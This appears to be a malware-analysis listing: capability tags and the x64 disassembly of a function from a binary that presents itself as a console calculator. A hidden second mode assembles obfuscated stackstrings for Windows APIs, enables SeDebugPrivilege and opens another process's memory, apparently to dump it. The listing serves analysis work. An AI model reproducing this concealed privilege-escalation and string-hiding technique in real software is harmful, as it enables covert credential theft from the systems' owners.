Function at 0x140001148
Capabilities:
Acquire debug privileges
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1c8]
sub rsp, 0x2a0
mov rdi, rdx
cmp ecx, 4
jne 0x1400011d5
mov rcx, qword [rdx + 8]
call sub.api_ms_win_crt_convert_l1_1_0.dll_atoi
mov rcx, qword [rdi + 0x18]
mov ebx, eax
call sub.api_ms_win_crt_convert_l1_1_0.dll_atoi
mov rcx, qword [rdi + 0x10]
xor esi, esi
mov r8d, eax
mov dl, byte [rcx]
lea ecx, [rax + rbx]
cmp dl, 0x2b
mov eax, ebx
cmovne ecx, esi
sub eax, r8d
cmp dl, 0x2d
cmovne eax, ecx
cmp dl, 0x2a
jne 0x1400011b7
imul r8d, ebx
mov eax, r8d
jmp 0x1400011c2
cmp dl, 0x2f
jne 0x1400011c2
mov eax, ebx
cdq
idiv r8d
mov edx, eax
lea rcx, str._nThe_result_is:__d_n
call fcn.140001500
jmp 0x1400014dc
cmp ecx, 2
je 0x140001205
lea rdx, str.Calculator_Console_Application.
lea rcx, [0x1400042e8]
call fcn.140001500
lea rdx, str.Please_enter_the_operation_to_perform._Format:_a__b__a___b__a__b__a___b
lea rcx, [0x1400042e8]
call fcn.140001500
jmp 0x1400014dc
xor esi, esi
mov dword [rbp - 0x80], 0x65004b
lea rcx, [rbp - 0x80]
mov word [rbp - 0x68], si
mov byte [rsp + 0x5c], sil
mov dword [rbp - 0x7c], 0x6e0072
mov dword [rbp - 0x78], 0x6c0065
mov dword [rbp - 0x74], 0x320033
mov dword [rbp - 0x70], 0x64002e
mov dword [rbp - 0x6c], 0x6c006c
mov dword [rsp + 0x50], 0x64616f4c
mov dword [rsp + 0x54], 0x7262694c
mov dword [rsp + 0x58], 0x41797261
call fcn.140001554
lea rdx, [rsp + 0x50]
mov rcx, rax
mov r14, rax
call fcn.1400015b8
mov rbx, rax
mov dword [rsp + 0x60], 0x61766461
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x64], 0x32336970
mov dword [rsp + 0x68], 0x6c6c642e
mov byte [rsp + 0x6c], sil
call rbx
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x68676264
mov dword [rsp + 0x34], 0x2e706c65
mov dword [rsp + 0x38], 0x6c6c64
call rbx
movdqa xmm0, xmmword [str.CreateToolhelp32LookupPrivilegeVAdjustTokenPriviLoadLibraryA]
lea rdx, [rbp - 0x40]
mov rcx, r14
mov dword [rbp - 0x30], 0x70616e53
movdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x2c], 0x746f6873
mov byte [rbp - 0x28], sil
call fcn.1400015b8
xor edx, edx
lea ecx, [rsi + 2]
call rax
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400014dc
lea rdx, [rsp + 0x40]
mov dword [rbp + 0x70], 0x130
mov rcx, r14
mov dword [rsp + 0x40], 0x736f6c43
mov dword [rsp + 0x44], 0x6e614865
mov dword [rsp + 0x48], 0x656c64
call fcn.1400015b8
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x70], 0x636f7250
mov rcx, r14
mov dword [rsp + 0x74], 0x33737365
mov r15, rax
mov dword [rsp + 0x78], 0x72694632
mov word [rsp + 0x7c], 0x7473
mov byte [rsp + 0x7e], sil
call fcn.1400015b8
lea rdx, [rbp + 0x70]
mov rcx, rbx
call rax
test eax, eax
jne 0x140001368
mov rcx, rbx
call r15
jmp 0x1400014dc
mov rcx, qword [rdi + 8]
call sub.api_ms_win_crt_convert_l1_1_0.dll_atoi
movsxd rdi, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x10]
mov edx, 0xf01ff
mov rcx, rax
call fcn.140001080
movdqa xmm0, xmmword [0x1400043d0]
lea rcx, [rbp - 0x60]
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x60], 0x640061
mov dword [rbp - 0x5c], 0x610076
mov dword [rbp - 0x58], 0x690070
mov dword [rbp - 0x54], 0x320033
mov dword [rbp - 0x50], 0x64002e
mov dword [rbp - 0x4c], 0x6c006c
mov word [rbp - 0x48], si
mov dword [rbp - 0x10], 0x65756c61
mov word [rbp - 0xc], 0x41
call fcn.140001554
lea rdx, [rbp - 0x20]
mov rcx, rax
mov rbx, rax
call fcn.1400015b8
lea r8, [rbp + 0x1c]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call rax
test eax, eax
lea rdx, str.___Lookup._n
lea rcx, str.____Lookup._n
cmovne rcx, rdx
call fcn.140001500
movdqa xmm0, xmmword [0x1400043e0]
lea rdx, [rbp - 8]
mov rcx, rbx
mov dword [rbp + 0x18], 1
movdqu xmmword [rbp - 8], xmm0
mov dword [rbp + 0x24], 2
mov dword [rbp + 8], 0x6567656c
mov word [rbp + 0xc], 0x73
call fcn.1400015b8
mov rcx, qword [rbp + 0x10]
lea r8, [rbp + 0x18]
mov r9d, 0x10
mov qword [rsp + 0x28], rsi
xor edx, edx
mov qword [rsp + 0x20], rsi
call rax
test eax, eax
lea rdx, str.___Adjust._n
lea rcx, str.____Adjust._n
cmovne rcx, rdx
call fcn.140001500
xorps xmm0, xmm0
mov qword [rbp + 0x1e8], rsi
lea r9, [rbp + 0x28]
mov dword [rbp + 0x38], 0x30
lea r8, [rbp + 0x38]
mov qword [rbp + 0x40], rsi
mov edx, 0x410
mov dword [rbp + 0x50], esi
lea rcx, [rbp + 0x1e8]
mov qword [rbp + 0x48], rsi
movdqu xmmword [rbp + 0x58], xmm0
mov qword [rbp + 0x28], rdi
mov qword [rbp + 0x30], rsi
call fcn.140001000
cmp qword [rbp + 0x1e8], rsi
lea rax, str.___Handle._n
lea rcx, str.____Handle._n
cmovne rcx, rax
call fcn.140001500
lea r11, [rsp + 0x2a0]
xor eax, eax
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret